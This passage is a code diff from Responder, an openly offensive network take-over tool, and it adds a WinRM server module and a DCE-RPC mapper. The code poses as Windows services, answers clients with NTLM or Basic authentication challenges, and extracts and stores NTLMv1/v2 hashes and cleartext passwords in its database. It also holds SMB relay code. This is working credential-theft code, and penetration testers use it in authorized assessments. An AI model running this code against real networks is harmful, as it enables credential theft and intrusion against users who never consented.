#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
pass
class RPCMapper(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(2048)
self.request.settimeout(3)
Challenge = RandomChallenge()
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
pass

View File

@@ -265,7 +265,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Body.calculate()
@@ -279,7 +279,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
packet1 = str(Header)+str(Body)

180
servers/WinRM.py Normal file
View File

@@ -0,0 +1,180 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import codecs
from utils import *
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen]
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
SaveToDb({
'module': module,
'type': 'NTLMv1',
'client': client,
'host': HostName,
'user': User,
'hash': LMHashFinal+':'+NTHashFinal,
'fullhash': WriteHash,
})
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
SaveToDb({
'module': module,
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain + '\\' + User,
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
'fullhash': WriteHash,
})
# Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth or NTLM_Auth2:
if NTLM_Auth2:
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
if NTLM_Auth2:
Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
return Buffer_Ans
else:
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
return Buffer_Ans
if Packet_NTLM == b'\x03':
if NTLM_Auth2:
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
else:
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
SaveToDb({
'module': 'WinRM',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
})
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
return Response
# HTTP Server class
class WinRM(BaseRequestHandler):
def handle(self):
try:
Challenge = RandomChallenge()
while True:
self.request.settimeout(3)
remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except:
raise
pass

View File

@@ -14,7 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import utils, sys
import utils, sys, random
if (sys.version_info > (3, 0)):
import configparser as ConfigParser
else:
@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.4.0'
__version__ = 'Responder 3.0.6.0'
class Settings:
@@ -96,6 +96,8 @@ class Settings:
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File
@@ -159,6 +161,12 @@ class Settings:
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DomainName = self.Domain + '.LOCAL'
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
self.RPCPort = random.randrange(45000, 49999)
# Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))

View File

@@ -29,7 +29,7 @@ import time
import random
import subprocess
from threading import Thread
if PY2OR3 is "PY3":
if PY2OR3 == "PY3":
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
else:
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
@@ -159,13 +159,13 @@ Logs = logging
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
@@ -446,12 +446,12 @@ class SMBRelay(BaseRequestHandler):
data = self.request.recv(4096)
## Make sure it's not a Kerberos auth.
if data.find(b'NTLM') is not -1:
if data.find(b'NTLM') != -1:
## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth.
if data.find(b'NTLM') is not -1:
if data.find(b'NTLM') != -1:
##Relay all that to our client.
if data[8:10] == b'\x73\x00':
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))

View File

@@ -66,20 +66,20 @@ class Packet():
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))

View File

@@ -45,7 +45,7 @@ else:
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:

View File

@@ -11,7 +11,7 @@ else:
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:

View File

@@ -47,20 +47,20 @@ SMB1 = "Enabled"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 is "PY2":
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))

View File

@@ -386,6 +386,8 @@ def StartupMessage():
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print('')
print(color("[+] ", 2, 1) + "HTTP Options:")
@@ -420,4 +422,9 @@ def StartupMessage():
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
if len(settings.Config.DontRespondToName):
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('')
print(color("[+] ", 2, 1) + "Current Session Variables:")
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))